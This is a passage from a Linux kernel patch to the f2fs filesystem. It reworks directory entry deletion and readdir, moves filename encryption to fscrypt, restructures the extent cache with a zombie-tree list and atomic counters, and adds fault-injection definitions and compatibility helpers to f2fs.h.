f2fs_i_links_write(inode, false); if (S_ISDIR(inode->i_mode)) { - drop_nlink(inode); - i_size_write(inode, 0); + f2fs_i_links_write(inode, false); + f2fs_i_size_write(inode, 0); } up_write(&F2FS_I(inode)->i_sem); - update_inode_page(inode); if (inode->i_nlink == 0) - add_orphan_inode(sbi, inode->i_ino); + add_orphan_inode(inode); else release_orphan_inode(sbi); } @@ -697,16 +711,18 @@ void f2fs_delete_entry(struct f2fs_dir_entry *dentry, struct page *page, int slots = GET_DENTRY_SLOTS(le16_to_cpu(dentry->name_len)); int i; + f2fs_update_time(F2FS_I_SB(dir), REQ_TIME); + if (f2fs_has_inline_dentry(dir)) return f2fs_delete_inline_entry(dentry, page, dir, inode); lock_page(page); - f2fs_wait_on_page_writeback(page, DATA); + f2fs_wait_on_page_writeback(page, DATA, true); dentry_blk = page_address(page); bit_pos = dentry - dentry_blk->dentry; for (i = 0; i < slots; i++) - test_and_clear_bit_le(bit_pos + i, &dentry_blk->dentry_bitmap); + clear_bit_le(bit_pos + i, &dentry_blk->dentry_bitmap); /* Let's check and deallocate this dentry page */ bit_pos = find_next_bit_le(&dentry_blk->dentry_bitmap, @@ -715,10 +731,11 @@ void f2fs_delete_entry(struct f2fs_dir_entry *dentry, struct page *page, kunmap(page); /* kunmap - pair of f2fs_find_entry */ set_page_dirty(page); - dir->i_ctime = dir->i_mtime = CURRENT_TIME; + dir->i_ctime = dir->i_mtime = current_time(dir); + f2fs_mark_inode_dirty_sync(dir, false); if (inode) - f2fs_drop_nlink(dir, inode, NULL); + f2fs_drop_nlink(dir, inode); if (bit_pos == NR_DENTRY_IN_BLOCK && !truncate_hole(dir, page->index, page->index + 1)) { @@ -726,6 +743,7 @@ void f2fs_delete_entry(struct f2fs_dir_entry *dentry, struct page *page, ClearPagePrivate(page); ClearPageUptodate(page); inode_dec_dirty_pages(dir); + remove_dirty_inode(dir); } f2fs_put_page(page, 1); } @@ -768,15 +786,14 @@ bool f2fs_empty_dir(struct inode *dir) return true; } -bool f2fs_fill_dentries(struct file *file, void *dirent, filldir_t filldir, +int f2fs_fill_dentries(struct file *file, void *dirent, filldir_t filldir, struct f2fs_dentry_ptr *d, unsigned int n, unsigned int bit_pos, - struct f2fs_str *fstr) + struct fscrypt_str *fstr) { unsigned int start_bit_pos = bit_pos; unsigned char d_type; struct f2fs_dir_entry *de = NULL; - struct f2fs_str de_name = FSTR_INIT(NULL, 0); - unsigned char *types = f2fs_filetype_table; + struct fscrypt_str de_name = FSTR_INIT(NULL, 0); int over; while (bit_pos < d->max) { @@ -787,27 +804,25 @@ bool f2fs_fill_dentries(struct file *file, void *dirent, filldir_t filldir, de = &d->dentry[bit_pos]; - if (types && de->file_type < F2FS_FT_MAX) - d_type = types[de->file_type]; + if (de->name_len == 0) { + bit_pos++; + continue; + } + + d_type = get_de_type(de); de_name.name = d->filename[bit_pos]; de_name.len = le16_to_cpu(de->name_len); if (f2fs_encrypted_inode(d->inode)) { int save_len = fstr->len; - int ret; + int err; - de_name.name = kmalloc(de_name.len, GFP_NOFS); - if (!de_name.name) - return false; - - memcpy(de_name.name, d->filename[bit_pos], de_name.len); - - ret = f2fs_fname_disk_to_usr(d->inode, &de->hash_code, - &de_name, fstr); - kfree(de_name.name); - if (ret < 0) - return true; + err = fscrypt_fname_disk_to_usr(d->inode, + (u32)de->hash_code, 0, + &de_name, fstr); + if (err) + return err; de_name = *fstr; fstr->len = save_len; @@ -818,12 +833,12 @@ bool f2fs_fill_dentries(struct file *file, void *dirent, filldir_t filldir, le32_to_cpu(de->ino), d_type); if (over) { file->f_pos += bit_pos - start_bit_pos; - return true; + return 1; } bit_pos += GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); } - return false; + return 0; } static int f2fs_readdir(struct file *file, void *dirent, filldir_t filldir) @@ -836,17 +851,16 @@ static int f2fs_readdir(struct file *file, void *dirent, filldir_t filldir) struct page *dentry_page = NULL; struct file_ra_state *ra = &file->f_ra; struct f2fs_dentry_ptr d; - struct f2fs_str fstr = FSTR_INIT(NULL, 0); + struct fscrypt_str fstr = FSTR_INIT(NULL, 0); unsigned int n = 0; int err = 0; if (f2fs_encrypted_inode(inode)) { - err = f2fs_get_encryption_info(inode); - if (err) + err = fscrypt_get_encryption_info(inode); + if (err && err != -ENOKEY) return err; - err = f2fs_fname_crypto_alloc_buffer(inode, F2FS_NAME_LEN, - &fstr); + err = fscrypt_fname_alloc_buffer(inode, F2FS_NAME_LEN, &fstr); if (err < 0) return err; } @@ -866,30 +880,43 @@ static int f2fs_readdir(struct file *file, void *dirent, filldir_t filldir) for (; n < npages; n++) { dentry_page = get_lock_data_page(inode, n, false); - if (IS_ERR(dentry_page)) - continue; + if (IS_ERR(dentry_page)) { + err = PTR_ERR(dentry_page); + if (err == -ENOENT) { + err = 0; + continue; + } else { + goto out; + } + } dentry_blk = kmap(dentry_page); make_dentry_ptr(inode, &d, (void *)dentry_blk, 1); - if (f2fs_fill_dentries(file, dirent, filldir, &d, n, bit_pos, &fstr)) - goto stop; + err = f2fs_fill_dentries(file, dirent, filldir, &d, n, + bit_pos, &fstr); + if (err) { + kunmap(dentry_page); + f2fs_put_page(dentry_page, 1); + break; + } bit_pos = 0; file->f_pos = (n + 1) * NR_DENTRY_IN_BLOCK; kunmap(dentry_page); f2fs_put_page(dentry_page, 1); - dentry_page = NULL; - } -stop: - if (dentry_page && !IS_ERR(dentry_page)) { - kunmap(dentry_page); - f2fs_put_page(dentry_page, 1); } out: - f2fs_fname_crypto_free_buffer(&fstr); - return err; + fscrypt_fname_free_buffer(&fstr); + return err < 0 ? err : 0; +} + +static int f2fs_dir_open(struct inode *inode, struct file *filp) +{ + if (f2fs_encrypted_inode(inode)) + return fscrypt_get_encryption_info(inode) ? -EACCES : 0; + return 0; } const struct file_operations f2fs_dir_operations = { @@ -897,6 +924,7 @@ const struct file_operations f2fs_dir_operations = { .read = generic_read_dir, .readdir = f2fs_readdir, .fsync = f2fs_sync_file, + .open = f2fs_dir_open, .unlocked_ioctl = f2fs_ioctl, #ifdef CONFIG_COMPAT .compat_ioctl = f2fs_compat_ioctl, diff --git a/fs/f2fs/extent_cache.c b/fs/f2fs/extent_cache.c index 7ddba812e11b7..4db44da7ef69d 100644 --- a/fs/f2fs/extent_cache.c +++ b/fs/f2fs/extent_cache.c @@ -33,10 +33,11 @@ static struct extent_node *__attach_extent_node(struct f2fs_sb_info *sbi, en->ei = *ei; INIT_LIST_HEAD(&en->list); + en->et = et; rb_link_node(&en->rb_node, parent, p); rb_insert_color(&en->rb_node, &et->root); - et->count++; + atomic_inc(&et->node_cnt); atomic_inc(&sbi->total_ext_node); return en; } @@ -45,11 +46,29 @@ static void __detach_extent_node(struct f2fs_sb_info *sbi, struct extent_tree *et, struct extent_node *en) { rb_erase(&en->rb_node, &et->root); - et->count--; + atomic_dec(&et->node_cnt); atomic_dec(&sbi->total_ext_node); if (et->cached_en == en) et->cached_en = NULL; + kmem_cache_free(extent_node_slab, en); +} + +/* + * Flow to release an extent_node: + * 1. list_del_init + * 2. __detach_extent_node + * 3. kmem_cache_free. + */ +static void __release_extent_node(struct f2fs_sb_info *sbi, + struct extent_tree *et, struct extent_node *en) +{ + spin_lock(&sbi->extent_lock); + f2fs_bug_on(sbi, list_empty(&en->list)); + list_del_init(&en->list); + spin_unlock(&sbi->extent_lock); + + __detach_extent_node(sbi, et, en); } static struct extent_tree *__grab_extent_tree(struct inode *inode) @@ -68,11 +87,13 @@ static struct extent_tree *__grab_extent_tree(struct inode *inode) et->root = RB_ROOT; et->cached_en = NULL; rwlock_init(&et->lock); - atomic_set(&et->refcount, 0); - et->count = 0; - sbi->total_ext_tree++; + INIT_LIST_HEAD(&et->list); + atomic_set(&et->node_cnt, 0); + atomic_inc(&sbi->total_ext_tree); + } else { + atomic_dec(&sbi->total_zombie_tree); + list_del_init(&et->list); } - atomic_inc(&et->refcount); up_write(&sbi->extent_tree_lock); /* never died until evict_inode */ @@ -127,32 +148,21 @@ static struct extent_node *__init_extent_tree(struct f2fs_sb_info *sbi, } static unsigned int __free_extent_tree(struct f2fs_sb_info *sbi, - struct extent_tree *et, bool free_all) + struct extent_tree *et) { struct rb_node *node, *next; struct extent_node *en; - unsigned int count = et->count; + unsigned int count = atomic_read(&et->node_cnt); node = rb_first(&et->root); while (node) { next = rb_next(node); en = rb_entry(node, struct extent_node, rb_node); - - if (free_all) { - spin_lock(&sbi->extent_lock); - if (!list_empty(&en->list)) - list_del_init(&en->list); - spin_unlock(&sbi->extent_lock); - } - - if (free_all || list_empty(&en->list)) { - __detach_extent_node(sbi, et, en); - kmem_cache_free(extent_node_slab, en); - } + __release_extent_node(sbi, et, en); node = next; } - return count - et->count; + return count - atomic_read(&et->node_cnt); } static void __drop_largest_extent(struct inode *inode, @@ -160,38 +170,38 @@ static void __drop_largest_extent(struct inode *inode, { struct extent_info *largest = &F2FS_I(inode)->extent_tree->largest; - if (fofs < largest->fofs + largest->len && fofs + len > largest->fofs) + if (fofs < largest->fofs + largest->len && fofs + len > largest->fofs) { largest->len = 0; + f2fs_mark_inode_dirty_sync(inode, true); + } } -void f2fs_drop_largest_extent(struct inode *inode, pgoff_t fofs) -{ - if (!f2fs_may_extent_tree(inode)) - return; - - __drop_largest_extent(inode, fofs, 1); -} - -void f2fs_init_extent_tree(struct inode *inode, struct f2fs_extent *i_ext) +/* return true, if inode page is changed */ +bool f2fs_init_extent_tree(struct inode *inode, struct f2fs_extent *i_ext) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct extent_tree *et; struct extent_node *en; struct extent_info ei; - if (!f2fs_may_extent_tree(inode)) - return; + if (!f2fs_may_extent_tree(inode)) { + /* drop largest extent */ + if (i_ext && i_ext->len) { + i_ext->len = 0; + return true; + } + return false; + } et = __grab_extent_tree(inode); - if (!i_ext || le32_to_cpu(i_ext->len) < F2FS_MIN_EXTENT_LEN) - return; + if (!i_ext || !i_ext->len) + return false; - set_extent_info(&ei, le32_to_cpu(i_ext->fofs), - le32_to_cpu(i_ext->blk), le32_to_cpu(i_ext->len)); + get_extent_info(&ei, i_ext); write_lock(&et->lock); - if (et->count) + if (atomic_read(&et->node_cnt)) goto out; en = __init_extent_tree(sbi, et, &ei); @@ -202,6 +212,7 @@ void f2fs_init_extent_tree(struct inode *inode, struct f2fs_extent *i_ext) } out: write_unlock(&et->lock); + return false; } static bool f2fs_lookup_extent_tree(struct inode *inode, pgoff_t pgofs, @@ -230,9 +241,10 @@ static bool f2fs_lookup_extent_tree(struct inode *inode, pgoff_t pgofs, if (en) { *ei = en->ei; spin_lock(&sbi->extent_lock); - if (!list_empty(&en->list)) + if (!list_empty(&en->list)) { list_move_tail(&en->list, &sbi->extent_list); - et->cached_en = en; + et->cached_en = en; + } spin_unlock(&sbi->extent_lock); ret = true; } @@ -325,12 +337,12 @@ static struct extent_node *__lookup_extent_tree_ret(struct extent_tree *et, return en; } -static struct extent_node *__try_merge_extent_node(struct f2fs_sb_info *sbi, +static struct extent_node *__try_merge_extent_node(struct inode *inode, struct extent_tree *et, struct extent_info *ei, - struct extent_node **den, struct extent_node *prev_ex, struct extent_node *next_ex) { + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct extent_node *en = NULL; if (prev_ex && __is_back_mergeable(ei, &prev_ex->ei)) { @@ -340,28 +352,34 @@ static struct extent_node *__try_merge_extent_node(struct f2fs_sb_info *sbi, } if (next_ex && __is_front_mergeable(ei, &next_ex->ei)) { - if (en) { - __detach_extent_node(sbi, et, prev_ex); - *den = prev_ex; - } + if (en) + __release_extent_node(sbi, et, prev_ex); next_ex->ei.fofs = ei->fofs; next_ex->ei.blk = ei->blk; next_ex->ei.len += ei->len; en = next_ex; } - if (en) { - __try_update_largest_extent(et, en); + if (!en) + return NULL; + + __try_update_largest_extent(inode, et, en); + + spin_lock(&sbi->extent_lock); + if (!list_empty(&en->list)) { + list_move_tail(&en->list, &sbi->extent_list); et->cached_en = en; } + spin_unlock(&sbi->extent_lock); return en; } -static struct extent_node *__insert_extent_tree(struct f2fs_sb_info *sbi, +static struct extent_node *__insert_extent_tree(struct inode *inode, struct extent_tree *et, struct extent_info *ei, struct rb_node **insert_p, struct rb_node *insert_parent) { + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct rb_node **p = &et->root.rb_node; struct rb_node *parent = NULL; struct extent_node *en = NULL; @@ -388,8 +406,13 @@ static struct extent_node *__insert_extent_tree(struct f2fs_sb_info *sbi, if (!en) return NULL; - __try_update_largest_extent(et, en); + __try_update_largest_extent(inode, et, en); + + /* update in global extent list */ + spin_lock(&sbi->extent_lock); + list_add_tail(&en->list, &sbi->extent_list); et->cached_en = en; + spin_unlock(&sbi->extent_lock); return en; } @@ -412,7 +435,7 @@ static unsigned int f2fs_update_extent_tree_range(struct inode *inode, write_lock(&et->lock); - if (is_inode_flag_set(F2FS_I(inode), FI_NO_EXTENT)) { + if (is_inode_flag_set(inode, FI_NO_EXTENT)) { write_unlock(&et->lock); return false; } @@ -454,7 +477,7 @@ static unsigned int f2fs_update_extent_tree_range(struct inode *inode, set_extent_info(&ei, end, end - dei.fofs + dei.blk, org_end - end); - en1 = __insert_extent_tree(sbi, et, &ei, + en1 = __insert_extent_tree(inode, et, &ei, NULL, NULL); next_en = en1; } else { @@ -475,9 +498,9 @@ static unsigned int f2fs_update_extent_tree_range(struct inode *inode, } if (parts) - __try_update_largest_extent(et, en); + __try_update_largest_extent(inode, et, en); else - __detach_extent_node(sbi, et, en); + __release_extent_node(sbi, et, en); /* * if original extent is split into zero or two parts, extent @@ -488,58 +511,28 @@ static unsigned int f2fs_update_extent_tree_range(struct inode *inode, insert_p = NULL; insert_parent = NULL; } - - /* update in global extent list */ - spin_lock(&sbi->extent_lock); - if (!parts && !list_empty(&en->list)) - list_del(&en->list); - if (en1) - list_add_tail(&en1->list, &sbi->extent_list); - spin_unlock(&sbi->extent_lock); - - /* release extent node */ - if (!parts) - kmem_cache_free(extent_node_slab, en); - en = next_en; } /* 3. update extent in extent cache */ if (blkaddr) { - struct extent_node *den = NULL; set_extent_info(&ei, fofs, blkaddr, len); - en1 = __try_merge_extent_node(sbi, et, &ei, &den, - prev_en, next_en); - if (!en1) - en1 = __insert_extent_tree(sbi, et, &ei, + if (!__try_merge_extent_node(inode, et, &ei, prev_en, next_en)) + __insert_extent_tree(inode, et, &ei, insert_p, insert_parent); /* give up extent_cache, if split and small updates happen */ if (dei.len >= 1 && prev.len < F2FS_MIN_EXTENT_LEN && et->largest.len < F2FS_MIN_EXTENT_LEN) { - et->largest.len = 0; - set_inode_flag(F2FS_I(inode), FI_NO_EXTENT); - } - - spin_lock(&sbi->extent_lock); - if (en1) { - if (list_empty(&en1->list)) - list_add_tail(&en1->list, &sbi->extent_list); - else - list_move_tail(&en1->list, &sbi->extent_list); + __drop_largest_extent(inode, 0, UINT_MAX); + set_inode_flag(inode, FI_NO_EXTENT); } - if (den && !list_empty(&den->list)) - list_del(&den->list); - spin_unlock(&sbi->extent_lock); - - if (den) - kmem_cache_free(extent_node_slab, den); } - if (is_inode_flag_set(F2FS_I(inode), FI_NO_EXTENT)) - __free_extent_tree(sbi, et, true); + if (is_inode_flag_set(inode, FI_NO_EXTENT)) + __free_extent_tree(sbi, et); write_unlock(&et->lock); @@ -548,46 +541,42 @@ static unsigned int f2fs_update_extent_tree_range(struct inode *inode, unsigned int f2fs_shrink_extent_tree(struct f2fs_sb_info *sbi, int nr_shrink) { - struct extent_tree *treevec[EXT_TREE_VEC_SIZE]; - struct extent_node *en, *tmp; - unsigned long ino = F2FS_ROOT_INO(sbi); - struct radix_tree_root *root = &sbi->extent_tree_root; - unsigned int found; + struct extent_tree *et, *next; + struct extent_node *en; unsigned int node_cnt = 0, tree_cnt = 0; int remained; if (!test_opt(sbi, EXTENT_CACHE)) return 0; + if (!atomic_read(&sbi->total_zombie_tree)) + goto free_node; + if (!down_write_trylock(&sbi->extent_tree_lock)) goto out; /* 1. remove unreferenced extent tree */ - while ((found = radix_tree_gang_lookup(root, - (void **)treevec, ino, EXT_TREE_VEC_SIZE))) { - unsigned i; - - ino = treevec[found - 1]->ino + 1; - for (i = 0; i < found; i++) { - struct extent_tree *et = treevec[i]; - - if (!atomic_read(&et->refcount)) { - write_lock(&et->lock); - node_cnt += __free_extent_tree(sbi, et, true); - write_unlock(&et->lock); - - radix_tree_delete(root, et->ino); - kmem_cache_free(extent_tree_slab, et); - sbi->total_ext_tree--; - tree_cnt++; - - if (node_cnt + tree_cnt >= nr_shrink) - goto unlock_out; - } + list_for_each_entry_safe(et, next, &sbi->zombie_list, list) { + if (atomic_read(&et->node_cnt)) { + write_lock(&et->lock); + node_cnt += __free_extent_tree(sbi, et); + write_unlock(&et->lock); } + f2fs_bug_on(sbi, atomic_read(&et->node_cnt)); + list_del_init(&et->list); + radix_tree_delete(&sbi->extent_tree_root, et->ino); + kmem_cache_free(extent_tree_slab, et); + atomic_dec(&sbi->total_ext_tree); + atomic_dec(&sbi->total_zombie_tree); + tree_cnt++; + + if (node_cnt + tree_cnt >= nr_shrink) + goto unlock_out; + cond_resched(); } up_write(&sbi->extent_tree_lock); +free_node: /* 2. remove LRU extent entries */ if (!down_write_trylock(&sbi->extent_tree_lock)) goto out; @@ -595,34 +584,29 @@ unsigned int f2fs_shrink_extent_tree(struct f2fs_sb_info *sbi, int nr_shrink) remained = nr_shrink - (node_cnt + tree_cnt); spin_lock(&sbi->extent_lock); - list_for_each_entry_safe(en, tmp, &sbi->extent_list, list) { - if (!remained--) + for (; remained > 0; remained--) { + if (list_empty(&sbi->extent_list)) break; - list_del_init(&en->list); - } - spin_unlock(&sbi->extent_lock); - - /* - * reset ino for searching victims from beginning of global extent tree. - */ - ino = F2FS_ROOT_INO(sbi); - - while ((found = radix_tree_gang_lookup(root, - (void **)treevec, ino, EXT_TREE_VEC_SIZE))) { - unsigned i; + en = list_first_entry(&sbi->extent_list, + struct extent_node, list); + et = en->et; + if (!write_trylock(&et->lock)) { + /* refresh this extent node's position in extent list */ + list_move_tail(&en->list, &sbi->extent_list); + continue; + } - ino = treevec[found - 1]->ino + 1; - for (i = 0; i < found; i++) { - struct extent_tree *et = treevec[i]; + list_del_init(&en->list); + spin_unlock(&sbi->extent_lock); - write_lock(&et->lock); - node_cnt += __free_extent_tree(sbi, et, false); - write_unlock(&et->lock); + __detach_extent_node(sbi, et, en); - if (node_cnt + tree_cnt >= nr_shrink) - goto unlock_out; - } + write_unlock(&et->lock); + node_cnt++; + spin_lock(&sbi->extent_lock); } + spin_unlock(&sbi->extent_lock); + unlock_out: up_write(&sbi->extent_tree_lock); out: @@ -637,16 +621,29 @@ unsigned int f2fs_destroy_extent_node(struct inode *inode) struct extent_tree *et = F2FS_I(inode)->extent_tree; unsigned int node_cnt = 0; - if (!et) + if (!et || !atomic_read(&et->node_cnt)) return 0; write_lock(&et->lock); - node_cnt = __free_extent_tree(sbi, et, true); + node_cnt = __free_extent_tree(sbi, et); write_unlock(&et->lock); return node_cnt; } +void f2fs_drop_extent_tree(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et = F2FS_I(inode)->extent_tree; + + set_inode_flag(inode, FI_NO_EXTENT); + + write_lock(&et->lock); + __free_extent_tree(sbi, et); + __drop_largest_extent(inode, 0, UINT_MAX); + write_unlock(&et->lock); +} + void f2fs_destroy_extent_tree(struct inode *inode) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); @@ -656,8 +653,12 @@ void f2fs_destroy_extent_tree(struct inode *inode) if (!et) return; - if (inode->i_nlink && !is_bad_inode(inode) && et->count) { - atomic_dec(&et->refcount); + if (inode->i_nlink && !is_bad_inode(inode) && + atomic_read(&et->node_cnt)) { + down_write(&sbi->extent_tree_lock); + list_add_tail(&et->list, &sbi->zombie_list); + atomic_inc(&sbi->total_zombie_tree); + up_write(&sbi->extent_tree_lock); return; } @@ -666,11 +667,10 @@ void f2fs_destroy_extent_tree(struct inode *inode) /* delete extent tree entry in radix tree */ down_write(&sbi->extent_tree_lock); - atomic_dec(&et->refcount); - f2fs_bug_on(sbi, atomic_read(&et->refcount) || et->count); + f2fs_bug_on(sbi, atomic_read(&et->node_cnt)); radix_tree_delete(&sbi->extent_tree_root, inode->i_ino); kmem_cache_free(extent_tree_slab, et); - sbi->total_ext_tree--; + atomic_dec(&sbi->total_ext_tree); up_write(&sbi->extent_tree_lock); F2FS_I(inode)->extent_tree = NULL; @@ -689,20 +689,20 @@ bool f2fs_lookup_extent_cache(struct inode *inode, pgoff_t pgofs, void f2fs_update_extent_cache(struct dnode_of_data *dn) { - struct f2fs_inode_info *fi = F2FS_I(dn->inode); pgoff_t fofs; + block_t blkaddr; if (!f2fs_may_extent_tree(dn->inode)) return; - f2fs_bug_on(F2FS_I_SB(dn->inode), dn->data_blkaddr == NEW_ADDR); - - - fofs = start_bidx_of_node(ofs_of_node(dn->node_page), fi) + - dn->ofs_in_node; + if (dn->data_blkaddr == NEW_ADDR) + blkaddr = NULL_ADDR; + else + blkaddr = dn->data_blkaddr; - if (f2fs_update_extent_tree_range(dn->inode, fofs, dn->data_blkaddr, 1)) - sync_inode_page(dn); + fofs = start_bidx_of_node(ofs_of_node(dn->node_page), dn->inode) + + dn->ofs_in_node; + f2fs_update_extent_tree_range(dn->inode, fofs, blkaddr, 1); } void f2fs_update_extent_cache_range(struct dnode_of_data *dn, @@ -712,8 +712,7 @@ void f2fs_update_extent_cache_range(struct dnode_of_data *dn, if (!f2fs_may_extent_tree(dn->inode)) return; - if (f2fs_update_extent_tree_range(dn->inode, fofs, blkaddr, len)) - sync_inode_page(dn); + f2fs_update_extent_tree_range(dn->inode, fofs, blkaddr, len); } void init_extent_cache_info(struct f2fs_sb_info *sbi) @@ -722,7 +721,9 @@ void init_extent_cache_info(struct f2fs_sb_info *sbi) init_rwsem(&sbi->extent_tree_lock); INIT_LIST_HEAD(&sbi->extent_list); spin_lock_init(&sbi->extent_lock); - sbi->total_ext_tree = 0; + atomic_set(&sbi->total_ext_tree, 0); + INIT_LIST_HEAD(&sbi->zombie_list); + atomic_set(&sbi->total_zombie_tree, 0); atomic_set(&sbi->total_ext_node, 0); } diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h index 14580933117c3..341205c03e5c1 100644 --- a/fs/f2fs/f2fs.h +++ b/fs/f2fs/f2fs.h @@ -21,6 +21,9 @@ #include #include #include +#include +#include +#include #ifdef CONFIG_F2FS_CHECK_FS #define f2fs_bug_on(sbi, condition) BUG_ON(condition) @@ -33,7 +36,30 @@ set_sbi_flag(sbi, SBI_NEED_FSCK); \ } \ } while (0) -#define f2fs_down_write(x, y) down_write(x) +#endif + +#ifdef CONFIG_F2FS_FAULT_INJECTION +enum { + FAULT_KMALLOC, + FAULT_PAGE_ALLOC, + FAULT_ALLOC_NID, + FAULT_ORPHAN, + FAULT_BLOCK, + FAULT_DIR_DEPTH, + FAULT_EVICT_INODE, + FAULT_IO, + FAULT_CHECKPOINT, + FAULT_MAX, +}; + +struct f2fs_fault_info { + atomic_t inject_ops; + unsigned int inject_rate; + unsigned int inject_type; +}; + +extern char *fault_name[FAULT_MAX]; +#define IS_FAULT_SET(fi, type) (fi->inject_type & (1 << (type))) #endif /* @@ -54,6 +80,10 @@ #define F2FS_MOUNT_FASTBOOT 0x00001000 #define F2FS_MOUNT_EXTENT_CACHE 0x00002000 #define F2FS_MOUNT_FORCE_FG_GC 0x00004000 +#define F2FS_MOUNT_DATA_FLUSH 0x00008000 +#define F2FS_MOUNT_FAULT_INJECTION 0x00010000 +#define F2FS_MOUNT_ADAPTIVE 0x00020000 +#define F2FS_MOUNT_LFS 0x00040000 #define clear_opt(sbi, option) (sbi->mount_opt.opt &= ~F2FS_MOUNT_##option) #define set_opt(sbi, option) (sbi->mount_opt.opt |= F2FS_MOUNT_##option) @@ -74,6 +104,7 @@ struct f2fs_mount_info { }; #define F2FS_FEATURE_ENCRYPT 0x0001 +#define F2FS_FEATURE_BLKZONED 0x0002 #define F2FS_HAS_FEATURE(sb, mask) \ ((F2FS_SB(sb)->raw_super->feature & cpu_to_le32(mask)) != 0) @@ -82,25 +113,72 @@ struct f2fs_mount_info { #define F2FS_CLEAR_FEATURE(sb, mask) \ F2FS_SB(sb)->raw_super->feature &= ~cpu_to_le32(mask) -#define CRCPOLY_LE 0xedb88320 +static inline void inode_lock(struct inode *inode) +{ + mutex_lock(&inode->i_mutex); +} -static inline __u32 f2fs_crc32(void *buf, size_t len) +static inline void inode_unlock(struct inode *inode) { - unsigned char *p = (unsigned char *)buf; - __u32 crc = F2FS_SUPER_MAGIC; - int i; + mutex_unlock(&inode->i_mutex); +} - while (len--) { - crc ^= *p++; - for (i = 0; i < 8; i++) - crc = (crc >> 1) ^ ((crc & 1) ? CRCPOLY_LE : 0); - } - return crc; +/** + * wq_has_sleeper - check if there are any waiting processes + * @wq: wait queue head + * + * Returns true if wq has waiting processes + * + * Please refer to the comment for waitqueue_active. + */ +static inline bool wq_has_sleeper(wait_queue_head_t *wq) +{ + /* + * We need to be sure we are in sync with the + * add_wait_queue modifications to the wait queue. + * + * This memory barrier should be paired with one on the + * waiting side. + */ + smp_mb(); + return waitqueue_active(wq); +} + +static inline struct inode *d_inode(const struct dentry *dentry) +{ + return dentry->d_inode; +} + +static inline struct dentry *file_dentry(const struct file *file) +{ + return file->f_path.dentry; +} + +static inline void inode_nohighmem(struct inode *inode) +{ + mapping_set_gfp_mask(inode->i_mapping, GFP_USER); } -static inline bool f2fs_crc_valid(__u32 blk_crc, void *buf, size_t buf_size) +/** + * current_time - Return FS time + * @inode: inode. + * + * Return the current time truncated to the time granularity supported by + * the fs. + * + * Note that inode and inode->sb cannot be NULL. + * Otherwise, the function warns and returns time without truncation. + */ +static inline struct timespec current_time(struct inode *inode) { - return f2fs_crc32(buf, buf_size) == blk_crc; + struct timespec now = current_kernel_time(); + + if (unlikely(!inode->i_sb)) { + WARN(1, "current_time() called with uninitialized super_block in the inode"); + return now; + } + + return timespec_trunc(now, inode->i_sb->s_time_gran); } /* @@ -119,12 +197,13 @@ enum { CP_DISCARD, }; -#define DEF_BATCHED_TRIM_SECTIONS 32 +#define DEF_BATCHED_TRIM_SECTIONS 2 #define BATCHED_TRIM_SEGMENTS(sbi) \ (SM_I(sbi)->trim_sections * (sbi)->segs_per_sec) #define BATCHED_TRIM_BLOCKS(sbi) \ (BATCHED_TRIM_SEGMENTS(sbi) << (sbi)->log_blocks_per_seg) #define DEF_CP_INTERVAL 60 /* 60 secs */ +#define DEF_IDLE_INTERVAL 5 /* 5 secs */ struct cp_control { int reason; @@ -158,13 +237,7 @@ struct ino_entry { nid_t ino; /* inode number */ }; -/* - * for the list of directory inodes or gc inodes. - * NOTE: there are two slab users for this structure, if we add/modify/delete - * fields in structure for one of slab users, it may affect fields or size of - * other one, in this condition, it's better to split both of slab and related - * data structure. - */ +/* for the list of inodes to be GCed */ struct inode_entry { struct list_head list; /* list head */ struct inode *inode; /* vfs inode pointer */ @@ -183,40 +256,39 @@ struct fsync_inode_entry { struct inode *inode; /* vfs inode pointer */ block_t blkaddr; /* block address locating the last fsync */ block_t last_dentry; /* block address locating the last dentry */ - block_t last_inode; /* block address locating the last inode */ }; -#define nats_in_cursum(sum) (le16_to_cpu(sum->n_nats)) -#define sits_in_cursum(sum) (le16_to_cpu(sum->n_sits)) +#define nats_in_cursum(jnl) (le16_to_cpu(jnl->n_nats)) +#define sits_in_cursum(jnl) (le16_to_cpu(jnl->n_sits)) -#define nat_in_journal(sum, i) (sum->nat_j.entries[i].ne) -#define nid_in_journal(sum, i) (sum->nat_j.entries[i].nid) -#define sit_in_journal(sum, i) (sum->sit_j.entries[i].se) -#define segno_in_journal(sum, i) (sum->sit_j.entries[i].segno) +#define nat_in_journal(jnl, i) (jnl->nat_j.entries[i].ne) +#define nid_in_journal(jnl, i) (jnl->nat_j.entries[i].nid) +#define sit_in_journal(jnl, i) (jnl->sit_j.entries[i].se) +#define segno_in_journal(jnl, i) (jnl->sit_j.entries[i].segno) -#define MAX_NAT_JENTRIES(sum) (NAT_JOURNAL_ENTRIES - nats_in_cursum(sum)) -#define MAX_SIT_JENTRIES(sum) (SIT_JOURNAL_ENTRIES - sits_in_cursum(sum)) +#define MAX_NAT_JENTRIES(jnl) (NAT_JOURNAL_ENTRIES - nats_in_cursum(jnl)) +#define MAX_SIT_JENTRIES(jnl) (SIT_JOURNAL_ENTRIES - sits_in_cursum(jnl)) -static inline int update_nats_in_cursum(struct f2fs_summary_block *rs, int i) +static inline int update_nats_in_cursum(struct f2fs_journal *journal, int i) { - int before = nats_in_cursum(rs); - rs->n_nats = cpu_to_le16(before + i); + int before = nats_in_cursum(journal); + journal->n_nats = cpu_to_le16(before + i); return before; } -static inline int update_sits_in_cursum(struct f2fs_summary_block *rs, int i) +static inline int update_sits_in_cursum(struct f2fs_journal *journal, int i) { - int before = sits_in_cursum(rs); - rs->n_sits = cpu_to_le16(before + i); + int before = sits_in_cursum(journal); + journal->n_sits = cpu_to_le16(before + i); return before; } -static inline bool __has_cursum_space(struct f2fs_summary_block *sum, int size, - int type) +static inline bool __has_cursum_space(struct f2fs_journal *journal, + int size, int type) { if (type == NAT_JOURNAL) - return size <= MAX_NAT_JENTRIES(sum); - return size <= MAX_SIT_JENTRIES(sum); + return size <= MAX_NAT_JENTRIES(journal); + return size <= MAX_SIT_JENTRIES(journal); } /* @@ -225,15 +297,6 @@ static inline bool __has_cursum_space(struct f2fs_summary_block *sum, int size, #define F2FS_IOC_GETFLAGS FS_IOC_GETFLAGS #define F2FS_IOC_SETFLAGS FS_IOC_SETFLAGS #define F2FS_IOC_GETVERSION 